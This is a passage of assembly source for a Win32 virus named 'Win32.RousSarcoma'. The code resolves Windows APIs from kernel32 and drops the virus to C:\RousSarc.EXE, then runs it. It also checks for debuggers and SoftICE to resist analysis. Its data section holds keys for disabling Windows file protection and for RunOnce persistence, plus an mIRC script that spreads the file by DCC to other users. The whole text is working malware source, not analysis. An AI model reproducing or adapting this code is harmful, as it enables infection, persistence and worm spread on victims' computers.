mov [ebp+MZAddy], ebx
lea edx, [ebp+LL] ; Point to LoadLibaryA - API
mov ecx, 0Ch ; size of name
call SearchAPI1 ; search it
mov [ebp+XLoadLibraryA], eax
; save offset
xchg eax, ecx ; if we did not get it, we can't go on
jecxz ExecuteHost
lea edx, [ebp+GPA] ; Name of GetProcAddress - API
mov ecx, 0Eh ; size
call SearchAPI1
mov [ebp+XGetProcAddress], eax
xchg eax, ecx ; check if we got it
jecxz ExecuteHost
GetAPI2: ; locate all other apis now
lea eax, [ebp+KERNEL32]
push eax
call dword ptr [ebp+XLoadLibraryA]
mov [ebp+K32Handle], eax
test eax, eax
jz ExecuteHost
lea esi, [ebp+Kernel32Names2]
lea edi, [ebp+YCreateFileA]
mov ebx, [ebp+K32Handle]
push NumberOf2Kernel32APIS
pop ecx
call GetAPI3
jmp DropIT ; let's do something serious ;)
; ***************************************************************************
; --------[ Search the kernel export table for the 2 main API's ]------------
; ***************************************************************************
SearchAPI1:
and word ptr [ebp+counter], 0h
mov eax, [ebp+KernelAddy] ; get PE-Header offset
mov esi, [eax+78h] ; get Export Table Address
add esi, [ebp+MZAddy]
add esi, 1Ch
lodsd ; get address table
add eax, [ebp+MZAddy]
mov dword ptr [ebp+ATableVA], eax
lodsd ; get pointer table
add eax, [ebp+MZAddy]
mov dword ptr [ebp+NTableVA], eax
lodsd ; Ordinal Table
add eax, [ebp+MZAddy]
mov dword ptr [ebp+OTableVA], eax
mov esi, [ebp+NTableVA] ; get Name Pointer Table
SearchNextApi1:
push esi
lodsd
add eax, [ebp+MZAddy]
mov esi, eax
mov edi, edx
push ecx
cld
rep cmpsb ; check for api name
pop ecx
jz FoundApi1
pop esi ; get next API-Name
add esi, 4h
inc word ptr [ebp+counter]
cmp word ptr [ebp+counter], 2000h
je NotFoundApi1 ; if we checked more than 2000 API's we stop
jmp SearchNextApi1 ; check next
FoundApi1:
pop esi
movzx eax, word ptr [ebp+counter]
shl eax, 1h ; get right entry
add eax, dword ptr [ebp+OTableVA]
xor esi, esi ; clear esi --> eax
xchg eax, esi
lodsw
shl eax, 2h
add eax, dword ptr [ebp+ATableVA]
mov esi, eax ; get RVA
lodsd ; eax = Adress RVA
add eax, [ebp+MZAddy]
ret ; API offset in eax
NotFoundApi1:
xor eax, eax ; we failed :(
ret
; ***************************************************************************
; ----------------------[ Let's drop the virus to a file ]-------------------
; ***************************************************************************
DropIT:
push 0
push 080h ; normal
push 1 ; new file
push 0
push 0
push 40000000h ; write access
lea eax, [ebp+HiddenFile]
push eax
call dword ptr [ebp+YCreateFileA]
xchg eax, ebx ; Handle in ebx
mov esi, ebp
add esi, ImageBase + Gap1 ; uninitialised data once again ;)
push 0 ; overlapped
lea ecx, [ebp+Write] ; written bytes
push ecx
push VirusSize ; Lenght
push esi ; Start of Data
push ebx ; File Handle
Call dword ptr [ebp+YWriteFile]
push ebx
call dword ptr [ebp+YCloseHandle]
xor eax, eax ; let's execute the virus
lea esi, [ebp+ProcessInformation]
push esi
lea esi, [ebp+StartupInfo]
push esi
push eax ; lpCurrentDirectory
push eax ; lpEnvironment
push eax ; Create_New_Process_Group & Normal_Priority_Class
push eax ; bInheritHandles
push eax ; lpThreadAttributes
push eax ; lpProcessAttributes
lea esi, [ebp+HiddenFile]
push esi ; filename with commandline
push eax ; command line
call dword ptr [XCreateProcessA]
; ***************************************************************************
; -----------------------[ open original program ]---------------------------
; ***************************************************************************
ExecuteHost:
mov eax,12345678h ; get back to old Imagebase+EIP
org $-4
retEIP dd 0h
add eax,12345678h
org $-4
retBas dd 0h
jmp eax
OldEIP dd 0h
OldBase dd 0h
NewEIP dd 0h
; ***************************************************************************
; --------------[ use GetProcAddress to retrieve API's ]---------------------
; ***************************************************************************
; this procedure is used in both parts of the virus !
; esi point to the names
; edi to the place where we save the offsets
; ebx contains module handle
; ecx got the number of api's
GetAPI3:
push ecx ; save number
push esi ; push Api-name
push ebx ; push Module-Handle
; call GetProcAddress
cmp ebp, 'VA-A' ; if we are in the exe-part, we can call
je API3b ; the api directly
pushad ; check for int 1h tracing
push eax ; int 1h tracing destroys the stack, so we will see
pop eax ; if it is destroyed
sub esp, 4d
pop ecx
cmp eax, ecx
jne EndApi3
popad
API3a: ; otherwise we need the one found in the kernel
call dword ptr [ebp+XGetProcAddress]
jmp API3c
API3b:
call GetProcAddress
API3c:
stosd ; save offset
pushad
cmp eax, 0 ; Lets do a check for Softice Breakpoints
je NoSICheck
cmp byte ptr [eax], 0CCh ; check for the breakpoint
je EndApi3 ; due to the pushad, we will ret somewhere strange ;)
NoSICheck:
popad
pop ecx
dec ecx
jz EndApi3
push ecx ; point to next name
SearchZero:
cmp byte ptr [esi], 0h
je GotZero
inc esi
jmp SearchZero
GotZero:
inc esi
pop ecx
jmp GetAPI3 ; get next api
EndApi3:
ret
; ###########################################################################
; ----------------------[ Third Part - The Data ]----------------------------
; ###########################################################################
; ***************************************************************************
; ---------------------[ Data of the second part ]---------------------------
; ***************************************************************************
NumberOf2Kernel32APIS equ 4
Kernel32Names2:
db 'CreateFileA', 0
db 'CloseHandle', 0
db 'WriteFile',0
db 'CreateProcessA',0
HiddenFile db 'C:\RousSarc.EXE',0 ; Rous Sarkoma is a well known Retro Virus
KERNEL32 db 'kernel32.dll',0 ; kernel32.dll .. :)
; ***************************************************************************
; ---------------------------[ Some Data ]-----------------------------------
; ***************************************************************************
VirusEnd:
K32Handle dd (?) ; Hier speichern wir das Handle der Kernel32.dll
XLoadLibraryA dd (?) ; Hier die Offsets der ersten beiden API's
XGetProcAddress dd (?)
; API's we need for the second part
YCreateFileA dd (?)
YCloseHandle dd (?)
YWriteFile dd (?)
YCreateProcessA dd (?)
StartofVirusinFile dd 0h
Write dd 0h
; Daten f<>r die Kernel-Suche
KernelAddy dd (?) ; PE-Header
MZAddy dd (?) ; MZ-Header
counter dw (?) ; Wie viele Namen haben wir getestet
ATableVA dd (?) ; Address Table VA
NTableVA dd (?) ; Name Pointer Table VA
OTableVA dd (?) ; Name Pointer Table VA
; ***************************************************************************
; --------------------[ Initialized First Part Data ]------------------------
; ***************************************************************************
.DATA
CopyRight db 'Win32.RousSarcoma by SnakeByte',0
_2kProt db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
_2kProtValue db 'SfcDisable',0
RunOnceName db '\RousSarc.EXE',0
RunOnceKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',0
filemask db '*.EXE', 0 ; get exe-files
; Data for mIRC Worming
MIRCscript db '[script]',13d,10d
db 'n0=on 1:join:#: { if ( $nick == $me ) halt', 13d,10d
db 'n1= else .timer 1 30 .dcc send $nick C:\RousSarc.EXE }', 13d,10d
db 'n2=on *:filesent:*.*: { if ( $nick != $me ) .dcc send $nick C:\RousSarc.EXE }', 13d,10d
EndScript:
mircINI db 'mirc.ini',0
MIRCrfiles db 'rfiles',0 ;what to patch
MOffset db 'n2',0
MIRCprot db 'RousSarc.ini',0
; Names of the API's we need
Kernel32Names:
NumberOfKernel32APIS equ 21d
db 'FindFirstFileA', 0
db 'FindNextFileA', 0
db 'FindClose', 0
db 'CreateFileA', 0
db 'CloseHandle', 0
db 'CreateFileMappingA', 0
db 'MapViewOfFile', 0
db 'UnmapViewOfFile', 0
db 'GetCommandLineA',0
db 'ReadFile',0
db 'CreateProcessA',0
db 'GetSystemDirectoryA',0
db 'CopyFileA',0
db 'GetCurrentProcessId',0
db 'RegisterServiceProcess',0
db 'GetCurrentDirectoryA',0
db 'SetCurrentDirectoryA',0
db 'GetWindowsDirectoryA',0
db 'GetFullPathNameA',0
db 'WritePrivateProfileStringA',0
db 'WriteFile',0
advname db 'advapi32',0
AdvapiNames:
NumberOfAdvapiAPIS equ 6
db 'RegOpenKeyExA',0
db 'RegQueryValueExA',0
db 'RegCloseKey',0
db 'RegSetValueExA',0
db 'RegCreateKeyExA',0
db 'RegEnumKeyA',0
StartupInfo:
db 64d
db 63d dup (0)
ProcessInformation:
hProcess dd 0h
hThread dd 0h
dwProcessId dd 0h
dwThreadId dd 0h
; ***************************************************************************
; -------------------[ Uninitialized First Part Data ]-----------------------
; ***************************************************************************
.DATA?
; API's we need for first Part
XFindFirstFileA dd ?
XFindNextFileA dd ?
XFindClose dd ?
XCreateFileA dd ?
XCloseHandle dd ?
XCreateFileMappingA dd ?
XMapViewOfFile dd ?
XUnmapViewOfFile dd ?
XGetCommandLineA dd ?
XReadFile dd ?
XCreateProcessA dd ?
XGetSystemDirectoryA dd ?
XCopyFileA dd ?
XGetCurrentProcessId dd ?
XRegisterServiceProcess dd ?
XGetCurrentDirectoryA dd ?
XSetCurrentDirectoryA dd ?
XGetWindowsDirectoryA dd ?
XGetFullPathNameA dd ?
XWritePrivateProfileStringA dd ?
XWriteFile dd ?
; API's we need to edit the Registry
XRegOpenKeyExA dd ?
XRegQueryValueExA dd ?
XRegCloseKey dd ?
XRegSetValueExA dd ?
XRegCreateKeyExA dd ?
XRegEnumKeyA dd ?
ADVHandle dd ? ; Handle of ADVAPI32.dll
NewSize dd ? ; New Filesize
CmdLine dd ? ; Commandline
; Struktur for FindFirstFile / Next
FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS
; data for FindFirstFile / Next API
WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db 260d dup (?)
WFD_szAlternateFileName db 13 dup (?)
WFD_szAlternateEnding db 03 dup (?)
FileHandle dd ? ; Filehandle
MapHandle dd ? ; Handle of the Map
MapAddress dd ? ; Offset of the Map
Handle dd ?
Dispostiton dd ? ; dispostition when creating a reg key
RegHandle dd ? ; handle of an opened registry key
RegData1 dd ? ; Bytes read
InfCounter db ? ; Counter
FindHandle dd ? ; Handle for FindFirstFile API
FileBuffer db VirusSize dup (?)
; We temporarily save the name of a possible AV
; to check if it is one
NameBuffer db 255d dup (?)
CurrentPath db 255d dup (?)
; ***************************************************************************
; ------------------------[ That's all, go home ]----------------------------
; ***************************************************************************
end Virus